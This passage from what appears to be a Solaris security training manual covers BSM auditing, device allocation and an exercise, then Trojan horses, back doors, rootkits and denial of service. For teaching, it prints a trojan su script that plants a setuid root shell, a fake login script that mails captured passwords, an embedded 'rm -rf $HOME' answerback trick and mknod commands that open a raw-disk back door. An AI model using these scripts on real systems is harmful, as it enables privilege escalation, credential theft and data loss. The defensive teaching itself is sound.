116:/var/audit/20010813222057.not_terminated.grommit
Interpreting and Filtering Audit Data
BSM provides two tools to merge, select, view, and interpret audit records.
You can use the tools directly or in conjunction with third-party
application programs.
G auditreduce Allows you to choose sets of records to examine
G praudit Allows you to display audit records interactively and
create very basic reports
Filtering Audit Data Using the auditreduce Command
The auditreduce command merges or selects particular audit records
from one or more input audit.log les.
The auditreduce command can:
G Produce output containing audit records generated only by certain
audit ags
G Show audit records generated by a particular user
G Collect audit records generated on specic dates
The auditreduce command can specify sets of available records to
examine. For example, you can select all records from the past 24 hours to
generate a daily report. You can select records that pertain to a specic
user or event type. To create basic reports, use a pipe to direct the output
of this command to the praudit command.
Formatting Audit Data Using the praudit Command
The praudit command converts the binary audit records into readable
American Standard Code for Information Interchange (ASCII) and
produces basic reports. Generally, you combine auditreduce and
praudit commands to produce concise, readable output.
For example, the following command nds all of the login events for the
user eve in December 2001:
# auditreduce -a 20011201 -b +31d -u eve -c lo | praudit
This produces the following output:
header,81,1,login - rlogin,,Wed Dec 27 09:46:43 2001, +511485295 msec
subject, eve, eve, techies, eve, techies,10100,10100, 24 5, penguin text,
successful login
This entry shows that user eve logged in to the system using the rlogin
command from the penguin system. Similar messages are generated for
events such as the ftp, telnet, and rsh utilities.
Controlling the auditd Daemon Using the audit
Command
The audit command provides an interface to the audit daemon. The
audit command options inform the auditd daemon to close the current
log le and to start a new one. The audit command can also temporarily
stop auditing.
Note If the audit command stops auditing, it is restarted after a reboot.
To permanently disable auditing, use the bsmunconv command.
Implementing BSMDevice Management
This section considers the security of I/O devices. In this section, security
is concerned with condentiality and prevention of accidental or
malicious damage to data.
For example, in some environments, several users share a cartridge tape
drive. The drive is located away from the user workstations. This
conguration creates opportunities for outsiders to gain access to data on
the unattended drive. When a user loads the tape and makes the tape
drive ready, the tape effectively becomes available to any user who
executes some kind of I/O operation on it.
The BSM device-allocation mechanism makes it possible to assign certain
devices to one user at a time so that the device can be accessed only by
that user while it is assigned to that user's name.
The device-allocation mechanism prevents:
G Simultaneous access to a device
G Other users from reading the media data just written
G Other users from overwriting the media
G Other users from obtaining information from the devices or the
drivers internal storage after another user is nished with the
device
Configuring BSM Device Management
Some of the allocation mechanism components are the:
G allocate, deallocate, dminfo, and list_devices commands
G /etc/security/device_allocate le
G /etc/security/device_maps le
G Lock les that exist for each allocatable device in the
/etc/security/dev directory
G Device-clean scripts for each allocatable device
Interpreting the /etc/security/device_maps File
The /etc/security/device_maps le denes the device le mappings
for each device. This le associates all physical devices with a device
name (such as st0). You can edit the device_maps le by hand and use
the dminfo utility to report or update information about a device entry in
this le.
Each device is represented by a one-line entry, such as:
device-name:device-type:device-list
Table 3-4 denes the /etc/security/device_maps elds.
Note The device-list eld must contain all device les that allow
access to a particular device. If the list is incomplete, a malevolent user
can still obtain or modify private information.
Code 3-4 shows an example of entries for Small Computer System
Interface (SCSI) tape st0 and diskette fd0.
Code 3-4 Example SCSI Entries
1 fd0:fd:\
2 /dev/fd0 /dev/fd0a /dev/fd0b /dev/rfd0 /dev/rfd0a /dev/rfd0b:
3 st0:st:\
4 /dev/rst0 /dev/rst8 /dev/rst16 /dev/nrst0 /dev/nrst8 /dev/nrst16:
Note Although the bsmconv command creates a device_map le when
BSM is enabled, you should only use this initial map le as a starting
point. You must augment and customize the device_maps le for the
individual site.
Table 3-4 The /etc/security/device_maps Fields
Field Name Description
device-name The device name, such as st0, fd0, or audio.
device-type The generic device type (the name for the class of devices such as
st, fd, audio). The device-type logically groups related devices.
device-list A list of the device les associated with the physical device. This
can be the real device les located under the /devicesdirectory
or the symbolic links in the /dev directory, provided for binary
compatibility.
Interpreting the /etc/security/device_allocate File
Devices that can be allocated are listed in the
/etc/security/device_allocate le. This le contains mandatory
access control information about each physical device managed by the
device-allocation mechanism. This is a per-system le and cannot be
dened as a name services resource (for example, an NIS map or NIS+
table object, or Lightweight Directory Access Protocol (LDAP)).
In the device_allocate le, each device is represented by a one-line
entry:
device-name;device-type;reserved;reserved;alloc;device-clean
Table 3-5 denes the /etc/security/device_allocate elds.
When BSM is enabled with the /etc/security/bsmconv command,
default devices and their characteristics are automatically dened in the
etc/security/device_allocate le.
Code 3-5 shows an example etc/security/device_allocate le.
Code 3-5 Example etc/security/device_allocate File
1 audio;audio;reserved;reserved;solaris.device.allocate; \
2 /etc/security/lib/audio_clean
3 fd0;fd;reserved;reserved;solaris.device.allocate; \
4 /etc/security/lib/fd_clean
5 sr0;sr;reserved;reserved;solaris.device.allocate; \
6 /etc/security/lib/sr_clean
Table 3-5 The /etc/security/device_allocate Fields
Field Name Description
device-name The device name, such as st0, fd0, or audio.
device-type The generic device type (the name for the class of devices such as
st, fd, and audio). The device-type logically groups related
devices.
reserved These elds are reserved for future use.
alloc Species whether the device can be allocated. This eld contains
a comma-separated list of authorizations (see the Solaris OE
manual page for device_allocate for the appropriate auths
values) required to allocate the device. An asterisk (*) indicates
that the device is not allocatable, and an ampersand (&) indicates
that no explicit authorization is needed to allocate the device.
device-clean The path name of a program to be invoked for special handling,
such as cleanup and object-reuse protection during the
allocation process.
The Device-Clean Scripts
The device-clean scripts ensure that any data left on a device by a user is
cleared before the device is allocated to another user.
Enabling BSM automatically provides several device-clean scripts. These
support the following standard devices:
G SCSI 1/4-inch tape (st_clean)
G Archive 1/4-inch tape (st_clean)
G Open-reel 1/2-inch tape (st_clean)
G Diskette (fd_clean)
G CD-ROM (sr_clean)
Note If you add more allocatable devices to your system, you might
have to write your own device-clean scripts. Design the script so that it
accepts any parameters passed from the deallocate command.
Authorizing Users to Access Devices
The /etc/security/auth_attr le denes authorizations.
Authorizations grant users access to certain system functionality. Code 3-6
shows entries in the authorizations le.
Code 3-6 Entries in the Authorizations File
1 solaris.device.:::Device Allocation::help=DevAllocHeader.html
2 solaris.device.allocate:::Allocate Device::help=DevAllocate.html
3 solaris.device.config:::Configure Device
Attributes::help=DevConfig.html
4 solaris.device.grant:::Delegate Device
Administration::help=DevGrant.html
5 solaris.device.revoke:::Revoke or Reclaim Device::help=DevRevoke.html
Solaris OE supplies the authorizations le, you do not need to edit this
le.
You can grant a user access to an authorization, such as Solaris OE device
management, by adding an auths entry to the line in the
/etc/user_attr le and quoting the required authorization. Do this
using the usermod or useradd commands. The following example grants
the user authorization to all the solaris.device commands, as shown in
Code 3-6 on page 3-37:
# usermod -A "solaris.device.*" alice
Device Allocation and De-Allocation
Use the following commands to allocate and de-allocate devices. See the
Solaris OE manual pages (Additional Resources on page 3-3) for more
information on these commands.
G The allocate command Assigns a device to a user. For example:
# allocate st0
A superuser can reallocate a previously allocated device to a new
user with:
# allocate -F st0 -U fred
G The deallocate command Releases a previously allocated device.
For example:
# deallocate st0
G The list_devices command Lets you view a list of all allocatable
devices, devices currently allocated, and allocatable devices not
currently allocated.
G The dminfo command Reports and updates information about a
device in the device_maps le.
Managing Devices Using BSM
This section shows how to use BSM to manage and add new devices.
To manage devices:
1. Edit the device_map le and add any new device names and all the
associated physical devices.
2. Edit the device_allocate le to dene which devices should be
made allocatable.
3. Use authorizations to decide which regular users, if any, should be
allowed to allocate devices. Use the usermod -A command.
4. Create an empty lock le for each allocatable device in the
/etc/security/dev directory. The lock le name should coincide
with the device name in the device_map le. Ensure that the lock
le is owned by root and is set with the following permissions:
-r-------- 1 root bin 0 Jan 6 2000 st0
5. Create a device-clean script, if needed, for each new device.
6. Make all device les for the device owned by user bin, group bin,
and mode 000.
If BSM has been started, the devices dened in the device_allocate le
are now under device allocation control. Only users authorized in Step 3
can access these devices.
Exercise: Using the Basic Security Module
G Install BSM and congure auditing for users
G Examine audit data and manage the audit le
G Restrict access to the oppy drive using device allocation features
Preparation
No preparation is required for this exercise.
Tasks
To complete the rst task, you install and congure auditing. After you
reboot, system auditing begins and the log les continue to grow until
auditing is switched off. Although you are not required to nish all of the
tasks in the time allocated by the instructor, be sure to disable BSM and
reboot the system before moving on.
Task Installing and Configuring BSM
In this task, you congure your system to use the BSM to log events. You
begin by logging some specic events. Later, you log all events and
compare the amount of data.
Follow these steps:
1. Run the bsmconv script to begin auditing. This script starts the
audit daemon after the system is booted, but do not reboot the system
yet.
2. Before rebooting, congure the types of activity that BSM audits on
your system. Edit the /etc/security/audit_control le, which
controls system-wide auditing.
a. Edit the le to instruct the auditd daemon to create the rst
(primary) audit log in the /var/audit directory. If the primary
log le consumes more than 90 percent of the available space,
congure the audit daemon to close the current log and start a
new one in the /var/audit1 directory.
b. Remove old audit les from the /var/audit directory.
c. Instruct the auditd daemon to record all successful or
unsuccessful logins and logouts, all successful or unsuccessful
administrative actions, and all failed le attribute changes that
can be attributed to users.
Note Because you are not monitoring non-attributable events, do not
edit the naflags: line.
3. Qualify the amount of data to be logged for the user alice by
modifying the entry for root in the /etc/security/audit_user
directory as follows. This entry species that all events by alice,
except for successful le reads, should be audited:
# vi /etc/security/audit_user
alice:all:fr
4. If the le system holding the audit logs lls up, you might not be
able to access your system. To prevent this scenario for these
exercises, disable logging for the root user.
Note Disabling auditing for root is not an option on most systems.
Instead, create a user account which can only clean up audit le space or
disable BSM. Disable logging for this user.
5. Reboot the system to begin auditing.
Task Monitoring Audit Data
Auditing should now be enabled. Go through the following steps to
monitor the audit data that is being collected:
1. After the system has rebooted, log in as root in one window and
alice in another.
2. From the root account, use the following commands to determine
what process ID the audit daemon is using and where the audit
data is being stored:
# cd /etc/security
# cat audit_data
3. Change to the /var/audit directory.
4. Use the praudit command to examine the audit le.
a. From the alice user account perform some actions (such as cd
or ls) .
b. Re-examine the audit le to see the additional records (you
might want to save each command output to le and look for
the differences with the diff command).
5. Use the audit command to close the current log le and open a new
log le.
# cd /var/audit
# ls -l
# audit -n
# ls -l
6. Use the audit command to temporarily stop auditing and check that
the audit log stops growing.
# audit -t
Task Securing a Peripheral Device
Use the device allocation mechanism to secure a peripheral device (which
for this exercise is the diskette device):
1. Examine the /etc/security/device_allocate le. The rst
column of the le lists all devices that are allocatable to a particular
login on the system.
# cat device_allocate
audio;audio;reserved;reserved;solaris.device.allocate;/etc/security/lib/a
udio_clean
fd0;fd;reserved;reserved;solaris.device.allocate;/etc/security/lib/fd_cle
an
sr0;sr;reserved;reserved;solaris.device.allocate;/etc/security/lib/sr_cle
an
2. Log in as user alice in a second window and issue the following
command to determine if alice can reserve the oppy disk.
alice$ /usr/sbin/allocate fd0
3. Edit the /etc/security/device_allocate le and change the
entry for the device fd0 as follows:
fd0;fd;reserved;reserved;@;/etc/security/lib/fd_clean
Note The @ character inserted into the
/etc/security/device_allocate le allows all users to allocate
devices. The alternative is to give only alice and bob
solaris.device.allocate privileges. To do this, add the following
entries for alice and bob in /etc/user_attr:
alice::::type=normal;auths=solaris.device.allocate
bob::::type=normal;auths=solaris.device.allocate
4. From the alice user account reissue the allocate command. Can
alice reserve the device now?
5. Insert a diskette into your diskette drive. As alice, allocate the
diskette drive for your exclusive use and then create a tar archive of
the /etc/motd le.
alice$ /usr/sbin/allocate fd0
alice$ cd /etc
alice$ tar cvf /dev/fd0 motd
6. Log in as the user bob, then try to copy the le from the tar le you
created in the previous step. Did this work?
bob$ tar xvf /dev/fd0
7. As bob, try to allocate the diskette drive for your use. Did this work?
bob$ allocate fd0
8. Examine the lock le to determine who has the device allocated.
# ls -l /etc/security/dev
9. As user alice, de-allocate the diskette drive.
alice$ /usr/sbin/deallocate fd0
10. As bob, allocate the diskette drive. Can you extract the motd le
now? What implications does this have?
Task Disabling BSM Auditing
This task disables auditing on your system. You must perform this task,
even if you have not completed all the other tasks, to ensure that the audit
logs do not grow too large and cause system problems.
1. Log in as root and run the bsmunconv command to permanently
disable auditing.
# cd /etc/security
# ./bsmunconv
2. Remove any les in the /var/audit directory.
3. Reboot the system.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following are the solutions to the tasks.
Installing and Configuring BSM
The /etc/security/audit_control le should look like:
2 #
3 #ident @(#)audit_control.txt 1.3 98/06/20 SMI
4 #
5 dir:/var/audit
6 dir:/var/audit1
7 flags:lo,ad,-fm
8 minfree:10
9 naflags:
Monitoring Audit Data
As this exercise is prescriptive, there is no solution.
Securing a Peripheral Device
Use the device allocation mechanism to secure a peripheral device:
4. The user alice can reserve the device.
6. The user bob cannot copy the tar le.
7. The user bob cannot allocate the device.
8. You should see that the alice user owns the lock le.
10. The user bob can now allocate the drive and extract the motd le.
The implication is that BSM can aid security, but not if your users
carelessly leave sensitive data in the drive.
Disabling BSM Auditing
As this exercise is prescriptive, there is no solution.
4-1
Module 4
SecurityAttacks
Objectives
G Recognize and detect the following common security attacks and list
at least two consequences of each:
G Trojan horses
G Back door attacks
G Denial of Service (DoS) attacks
G Describe how attackers can use a rootkit to cover their tracks
Relevance
Relevance
?
!
Discussion Reports of system and server attacks are a daily
occurrence.
G Could you recognize the most common types of attack?
G Can you be sure that your system les have not been modied to
perform additional tasks?
G Can you identify measures to prevent DoS attacks?
G Is prevention always possible?
Security Attacks 4-3
G Garnkel, Simson and Gene Spafford. Practical UNIX & Internet
Security. OReilly & Associates, Inc., 1996.
2001.
G Online tripwire resources:
[http://www.tripwire.com/]
G Online ASET information:
[http://www.sun.com/]
G Solaris OE Fingerprint Database:
[http://sunsolve.sun.com/]
G Solaris OE AnswerBook 2.
G Solaris OE online manual pages for limit(1), kernel(1M),
modinfo(1M), modload(1M), proc(1M), quot(1M), strip(1),
tunefs(1M), and ulimit(1)
Recognizing Trojan Horses
The concept of the Trojan horse is borrowed from the Greek battle for the
city of Troy. Greek soldiers hid inside a large wooden horse which the
Trojans, assuming it was a gift, brought into the city of Troy. The Greek
soldiers later climbed out of the horse and killed everyone in the city.
Software is described as a Trojan horse when it performs an expected
function, but also executes additional commands which subvert the
security measures in place or cause damage to the system.
Example Trojan Horses
This section provides several examples that illustrate the common types
of Trojan horse problems.
Changing the Search Path to Hide Standard SystemUtilities
A user produces a Bourne shell script called su, shown in Code 4-1.
Code 4-1 Trojan Horse Example Shell Script
# cat su
#!/bin/sh
/bin/cp /usr/bin/ksh ./ksh
/bin/chmod 4775 ./ksh
/bin/rm $0
/bin/su "$@"
For the example in Code 4-1 to work, the user sets the search path so that
the current directory is at the front of the search path. Now the user
creates a problem in their directory which requires superuser privileges to
x.
When the administrator runs the su command from the users terminal or
Telnet session, the administrator picks up the Trojan Horse su command
instead of the real one, which creates a back door shell (owned by root
with set-user-id). The su command removes itself after it has served its
purpose.
A good administrator defends against this attack by always using the full
pathname for the su command (/bin/su).
The rootPath
Because of the risk of running the wrong program, the root users $PATH
variable should never include the current directory. In general, a
privileged account should not have a directory in its search path that is
writable by others.
The latest versions of the su command reset the PATH variable for the
root user when you use the su command to change to the root user. The
root path is dened by the variable SUPATH in the /etc/default/su
directory and should be set to a search path which does not include the
current directory.
Test your knowledge of the PATHvariable by deciding which of these paths
contains the current directory:
1. PATH=/usr/bin:/usr/sbin:/usr/openwin/bin
2. PATH=/usr/bin:/usr/sbin:.:/usr/openwin/bin
3. PATH=/usr/bin:/usr/sbin:.
4. PATH=/usr/bin::/usr/sbin
5. PATH=/usr/bin:/usr/sbin:
6. PATH=:/usr/bin:/usr/sbin
Terminal Answerback
This form of Trojan horse uses the answerback modes of some terminals.
Many brands of terminal and software terminal emulators used by the
telnet command accept control character sequences which can echo back
to the host a line of text as if it had been typed at the terminal.
For example, a command like:
rm -rf $HOME <clear-screen, send-sequence>, where clear-
screen and send-sequence are replaced with the appropriate control
character sequences, could be embedded in an email. When the user reads
the email and the screen goes blank, it is already too late because the rm
command has been executed.
Answerback should be disabled on all terminals where it is present.
A Console Logout Trojan Horse
Another basic Trojan horse (known to intruders as well as to most
computer science undergraduates) is a shell script that spoofs the login
program, as shown in Code 4-2.
Code 4-2 Using a Trojan Horse to Gain Passwords
1 #!/bin/sh
2 # this script is left running instead of logging out
3 trap '' 2 3 15
4 /usr/ucb/clear
5 /bin/echo "`hostname` login: \c"
6 read x
7 /bin/echo "Password: \c"
8 /bin/stty -echo
9 read y
10 /bin/echo
11 /bin/stty echo
12 /bin/echo $x $y | mail user &
13 /bin/echo "login incorrect"
14 exec login
A simple defense for this kind of attack is to enter Control-D before
logging in.
Other Terms for Trojan Horses
A logic bomb is a Trojan horse that is left dormant in a program until it is
triggered by some event or condition. A Trojan mule is a simple Trojan
horse.
Identifying Back Doors
Back doors, or trap doors, are ways to access a system without going
through the normal authentication process.
Recognizing Common UNIX Back Doors
Programmers often write back doors in their programs for access for
debugging or monitoring. If the programmer forgets to remove the back
door before the program is released, this can be a problem.
The most infamous UNIX example of a back door is in the sendmail
program. The developer used a DEBUG command to aid debugging. This
command allowed any user with remote access to the sendmail program
to run a command with root privileges. This back door was exploited by
the Internet worm (see The Internet Worm on page 4-31).
Common UNIX back door attacks include the following:
G Install an altered version of programs such as login, telnetd, ftpd,
or any program that spawns a shell
G Add an entry in a .rhosts le to allow future unauthorized access
G Change the /etc/vfstab le on an NFS-mounted le system to
remove the nosuid option, thus allowing SUID programs to be run
G Add a mail alias so that when email is sent to the alias, a program
runs which provides root access
G Change ownership of les such as the /etc/shadow le so that they
can be read or modied
G Change ownership of physical devices such as the physical device
le /dev/kmem which provides access to kernel memory
G Install a SUID le that provides access to a superuser shell
G Change or add a network service to provide access to a remote user
Using Devices to Create a Back Door
Special les or les found in the /etc or /devices directories are likely
targets of an intruder attack. Device les can provide back door entries for
attackers.
One way to view restricted les is to create a special character le using
the mknod command. If the le is created with the same major and minor
device numbers as an existing disk device le, and has read permissions,
users can view the entire contents of the disk. If users have additional
write permissions, they can change or destroy valuable data. Attackers
can use a symbolic debugger (such as fsdb) or similar tools to read and
alter the data.
The following commands demonstrate how a user without root-user
privileges can view restricted les. In Code 4-3, the user uses the ls
command to obtain the major and minor device numbers of the target
device (in this case the disk slice c0t3d0s2).
Code 4-3 Obtaining Target Device Numbers
$ ls -lL /dev/dsk/c0t3d0s2
brw-r----- 1 root sys 32, 26 Apr 5 1999 /dev/dsk/c0t3d0s2
In Code 4-3, 32 and 26 are the major and minor device numbers,
respectively. Using these device numbers, the successful attacker uses the
mknod command to create a special character le (Code 4-4):
Code 4-4 Creating a Special Character File
# mknod /export/home/fred/.secret_file c 32 26
# chown user /export/home/fred/.secret_file
# chmod 600 /export/home/fred/.secret_file
Note A user must have root-user privileges to execute the mknod
command otherwise any user, not just a successful attacker, could easily
obtain direct access to any system device.
When the special le exists, and the ownership has been changed, the user
no longer needs to be the root user to gain access to everything on the
disk. The back door has been created. The users can use the following
command to look at the contents of les on the system:
$ strings -a /export/home/fred/.secret_file | grep -i root:
In this example, the attacker might be looking for the encrypted
root-account password in the /etc/shadow le.
Do not expect attackers to use descriptive names such as .secret_file.
Creative le naming is important to avoid detection. Attackers bury les in
large system directories such as /usr/lib and disguise the les to
achieve their goals. Always use the ls -a command when listing les in
suspect directories to help reduce your chances of missing hidden les.
To prevent such attacks, periodically scan the le systems for special les
and check the permissions on them. Character les normally exist in the
/devices and /proc directories. Any special le found outside these
directories should be considered a security vulnerability.
Detecting and Preventing Trojan Horse and Back Door Attacks
Detecting and Preventing Trojan Horse and Back Door
Attacks
You can use various tools and methods to detect changes made to system
les. The following sections describe tools that can help you detect these
changes.
The Solaris OE Fingerprint Database
This SunSolve
SM
service lets you verify the integrity of les distributed
with the Solaris OE. The Solaris OE Fingerprint database ensures that you
are using a true le in an ofcial binary distribution, and not using an
altered version that can compromise system security. If you suspect that
someone has changed your system without your authorization, use the
Solaris OE Fingerprint Database to check les for alteration or damage
(see Module 9, Auditing File Systems).
TripWire
The TripWire freeware product monitors le changes, veries integrity,
and noties you of any violations of data located on network servers. The
TripWire program also identies changes to system attributes including
le size, access ags, write time, and more. Tripwire can also generate
MD5 checksums for binaries (see Module 9, Auditing File Systems).
Checklists, File Digests, and Checksums
A simple way to detect changes to a le system is to store a checklist
created with the ls command. For example, the following example creates
a le listing. Subsequently running the same command and comparing
the two outputs with diff detects any changes:
# ls -ild /usr/bin/* > /usr/adm/filelist
Note An attacker can modify the le list to cover up any changes.
However, an attacker can change a le that is not detected by this type of
basic checklist.
To improve the checklist, use the sum command to generate a cyclic-
redundancy-check (CRC) checksum and block count for each le. For
example, the following example creates both a le listing and a CRC
checksum for each le in the /usr/bin directory:
# find /usr/bin -ls -type f -print | xargs sum >/var/security/filecheck
However, because well-known polynomials can generate a CRC, an
attacker can alter a le so that it still generates the same checksum. There
are stronger checksums available, including the MD5 digital message-
digest algorithm.
The BSM Audit Trail
If you have initiated auditing and set the appropriate ags to monitor
writing to les, you can detect changes to system les.
Using the find Command
Using more sophisticated tools for ngerprinting and checking systems is
the preferred route for securing your system against user attacks. But
where these tools are not available, or the system has not yet been
ngerprinted, the find command is a good alternative.
The find command has many useful options for searching for potential
Trojan horses or back doors. Table 4-1 shows some of the find command
options.
Multiple selection criteria can be combined using the symbols in Table 4-2.
Table 4-1 The find Command Options
Option Description
-nouser Files not owned by a valid user
-user user Files owned by the user specied
-perm -perms Files with one or more permissions set
-mtime -days Files modied in the last few days
-newer file Files newer than a specied le
Table 4-2 Operators for Combining Selection Criteria
Symbol Denition
$ .. $ Group or separate logical criteria
-a And
-o Or
! Not
Example findCommands
Some example find commands are:
G Find all les in the /usr directory modied in the last 24 hours:
find /usr -mtime -1 -print
G Find all les owned by the root user in the users home directory:
find /export/home -user root -print
G Find all set-user-id les owned by the root user in the /usr/bin
directory:
find /usr/bin -user root -perm -2000 -print
G Files or directories owned by root and writable by others:
find / -user root $ -type f -o -type d $ -perm -2 -print
Preventing Trojan Horse and Back Door Attacks
You can implement the following recommendations to reduce the risk of
an attacker placing a Trojan horse on your system:
G Your rst task in preventing Trojan horses is to harden the le
system. This involves:
G Removing write access from all directories that do not require it
G Ensuring that the le and directory permissions are as secure as
possible
G Removing programs that are not required (in particular,
compilers)
G Check the validity of software loaded onto your system. Do not
automatically trust software, even if it is from a reputable
commercial rm. You should install all new software on spare
machines for testing, not on critical production systems.
G Consider using the Automated Security Enhancement Tool (ASET).
ASET is a set of administrative utilities that can improve system
security by checking the settings of system les, including both the
attributes (such as permissions and ownership) and the contents of
the system les. It warns of potential security problems and, where
appropriate, sets the system les automatically according to the
security level specied. ASET is discussed in Module 14 Hardening
the System.
Note Pay particular attention to scripts in the rc*.d directories to
ensure that back doors have not been installed there. System
administrators have spent considerable time cleaning a system only to
have the back doors reappear after a reboot.
Rootkits Understanding HowAttackers Use Them
Rootkits are utility programs that attackers use to hide their presence on a
system and to give them back door access in the future. The big appeal to
the average attacker is that rootkits do not require any great expertise or
knowledge to run them. Intruders do not use rootkits to gain root access
to the system but rather to hide and secure their presence when system
security has been breached.
The initial attack that gives attackers superuser access was probably
noisy, generating a lot of network trafc and hopefully a great deal of log
or audit data. When root access has been obtained, attackers have no
difculty covering their tracks using the rootkit utilities. Intruders have
programs in the rootkit that remove login entries from the wtmpx, utmpx,
and lastlog les. Other shell scripts can clean up log entries in les such
as /var/log and /var/adm.
Installing Back Doors and Trojan Horses
After removing all evidence that the system has been breached, an
intruder can leave a back door to gain root access again at any time.
Common rootkit back doors are:
G Replacing login, passwd, or sh/ksh/csh commands to allow the
intruder to spawn a root shell at any time. The smart intruder also
disables any history mechanism on this shell.
G Replacing the rsh shell so that a root shell is spawned when the
special rootkit user name is given (for example, rsh hostname -l
rootkit_user).
G Binding a root shell to an unusual port number.
An intruder might install all of these back doors so that if the original
security hole that allowed root access in the rst place is xed, the
intruder still has numerous ways to access your system. In addition, while
logged in as the root user, the intruder might install a sniffer program to
obtain account passwords on other systems. Therefore, even if the original
breached system is taken out of operation to be reinstalled, the intruder
might already have gained access to the rest of your network.
Table 4-3 shows other Trojan horse programs that commonly form part of
the rootkit.
Table 4-3 Rootkit Trojan Horse Programs
Program Effect
ls, find, du Does not display or count the attackers les.
ps, top Does not display the attackers processes.
netstat Does not display the attackers trafc.
killall Does not kill the attackers processes.
ifconfig Does not display the word PROMISC when sniffer is running.
crontab Hides the attackers crontabentry. The hidden crontabentry is
not in the /var/adm/cronjobs directory.
tcpd Does not log attacker connections listed in the conguration le.
syslogd Does not log attacker activity.
Detecting Rootkit Use
Techniques for detecting Trojan horses and back doors were presented in
Detecting and Preventing Trojan Horse and Back Door Attacks on
page 4-18. If the intruder has been careless, you can also detect the use of
a rootkit.
Often, the programs listed in Table 4-3 on page 4-25 that are replaced with
Trojan copies have conguration les that list which programs to hide and
which to display. Sometimes the intruder forgets to hide these
conguration les. Most of the les in the /dev directory are symbolic
links, and the /dev directory is the default location for many of these
conguration les, so check there for any normal les. The default setup
for many rootkits is to have the conguration le begin with pty, such as
/dev/ptys or /dev/ptyr.
In addition, look at modication times of all programs. Although good
attackers x the modication times on back doors and Trojan horses, they
sometimes forget to do so on a few les or directories. Use the following
code line (where N is the number of days you believe that the attacker has
had access to your system):
# find / -mtime -N -print
Inside each modied directory, compare the output of echo * with ls. If
the ls le has been replaced with a Trojan copy and congured to hide
anything, the echo command shows it.
Run the strings command on system binaries. For example, if:
# strings /usr/sbin/inetd
produces the string /bin/sh (or something similar) you should be
suspicious of this le. You can also look at the le type, as shown in
Code 4-5.
Code 4-5 Checking File Type
# file /usr/sbin/intetd
/usr/sbin/inetd: ELF 32-bit MSB executable SPARC Version 1,
dynamically linked, stripped
If the output of file says that the program is not stripped, it has been
tampered with.
The intruder might have left some rootkit utilities on the system. Table 4-4
shows some programs to look for.
Table 4-4 Rootkit Utilities
Program Use
fix Installs a Trojan horse (for example ls) with the same
timestamp and checksum information
sniffchk Checks to make sure a sniffer is still running
wted An editor for the wtmp le
z2 Erases entries from the wtmpx/utmpx/lastlog le
bindshell Binds a root shell to a port (port 31337 by default)
You should become familiar with the /proc le system. You can examine
this directory to nd out which processes are running. Compare the
output to what the ps command shows so that you can determine
whether the ps command has been modied. The Solaris OE has many
utilities which provide more information on processes in the /proc le
system (see Solaris OE manual page proc(1)).
The best defense is a clean set of statically linked
1
binaries for your
system. Keep a copy of common programs such as ps, ls, and ifconfig
stored on a CD-ROM or oppy disk. When you suspect a compromised
system, download the clean binaries, ensure that your PATH environment
variable is set to use them, and begin looking for back doors.
Note A number of statically linked utilities are provided in the
/usr/sbin/static directory.
Kernel Rootkits
The kernel rootkit is a troubling development in the hacker world. This
rootkit exploits the use of loadable kernel modules (LKMs) to modify the
running UNIX kernel.
With the initial root account access, the attacker uses the modload
command to load two kernel modules. The rst contains the hacking
utilities. The second ensures that the rootkit modules do not appear in the
modinfo listing.
Table 4-5 shows typical utilities in a kernel rootkit.
1. An attacker can modify or replace systemlibraries so any dynamically linked
programcannot be trusted.
Table 4-5 Kernel Rootkit Utilities
Utility Use
hidef,
unhidef
Hides and unhides les on the system
ered Performs exec redirection, which allows Trojan horse programs
to execute
nethide Hides connections by the attacker from other systems
Preventing Kernel Rootkit Attacks
When the attacker has modied the kernel, and covered the initial tracks,
it is very difcult to detect the intrusion. To ensure LKMs are reloaded
after a system reboot, the attacker must hide the module either in the
standard locations for loadable modules or in the /etc/init.d startup
scripts.
At boot time, the kernel loads modules from the following directories:
/platform/ùname -i`/kernel:\
/platform/ùname -m`/kernel:/kernel:/usr/kernel
You should check these directories for foreign les on a regular basis
using auditing tools such TripWire or the Solaris Fingerprint database.
testhack Changes the UID, GID, or both, of a running process (for
example, to change the process owner of a running /bin/sh to
root)
rootme Gains root access without running SUID programs
Table 4-5 Kernel Rootkit Utilities (Continued)
Utility Use
Identifying Denial of Service Attacks
Denial of service (DoS) can occur for many reasons, including:
G Physical destruction of equipment
G Removal of data or software
G Malicious system conguration changes
G Depletion of system resources such as memory, swap space, le
space, network bandwidth, and so on
DoS is usually the result of users using more system resources (such as
disk space, memory, or the number of processes running) than they
should. Attacks like these can be accidental or malicious, and the attackers
might be trusted internal users or outside intruders. As the systems
resources are depleted by the attacker, other users cannot log in or run
programs.
When suspicious les or processes are detected, prompt and proper action
is required. Disk space, swap space, memory, and a number of processes
need attention and protection.
Malicious DoS Attacks
Worms or fork bombs are intentional attacks on system resources. Worms
are self-replicating programs that copy themselves within a system, or
from system to system.
The Internet Worm
The most well-known example of this type of problem is the Internet
worm, which infected the Internet in l988. Within an eight-hour period,
2500 to 3000 systems were infected and were using all of their processor
time to distribute the worm.
The success of the Internet worm was based on its three options for
transmission:
G A bug in the fingerd daemon
G Exploitation of trusted hosts using the rsh shell
G A bug in the sendmail program (debug mode)
Fork Bombs
Fork bombs are processes that duplicate themselves, sometimes
exponentially, until the maximum number of system processes is exceeded
and no new processes can start.
The following are all examples of malicious DoS attacks that have been
used against systems.
Toll-Free Number Attack
In the mid 1980s, a political organization set up a toll-free telephone
number. An individual programmed his computer to repeatedly dial the
number and then hang up. This did two things:
G It busied the line so that legitimate callers could not get a connection
G It cost the organization money every time a call was completed
Network Attacks
Network attacks include:
G TCP SYN A DoS attack taking advantage of the TCP three-way
handshake to overload the server (see Module 10, TCP SYN Flood
Attack on page 10-35).
G Ping of death An attack that sends an IP packet that is larger than
the legal size to a server. The server typically crashes when trying to
reconstruct the illegal packet.
G Smurf An attack where a ping request is broadcast to all machines
on the network. The return address for the request is altered to the
machine being attacked. This machine's network interface is then
overloaded dealing with all the responses.
Preventing DoS Attacks
While some DoS attacks cannot be prevented, many others can be.
Table 4-6 lists attacks and their preventions.
Table 4-6 Malicious DoS Attacks
Attack Prevention
Reformatting a disk
partition
Prevent access to systems in single-user mode. Protect the
root account. Physically write-protect read-only disks.
Deleting critical les Same protection as described in Detecting and Preventing
Trojan Horse and Back Door Attacks on page 4-18. Set
ownership of NFS-mounted le systems to the root user
and export read-only.
Powering down
machine
Physically secure the machine in locked area. Protect
systems with uninterrupted power supplies.
Damaging cables Run cables through conduits and protect areas where
cables are exposed.
Recognizing Causes of Accidental DoS
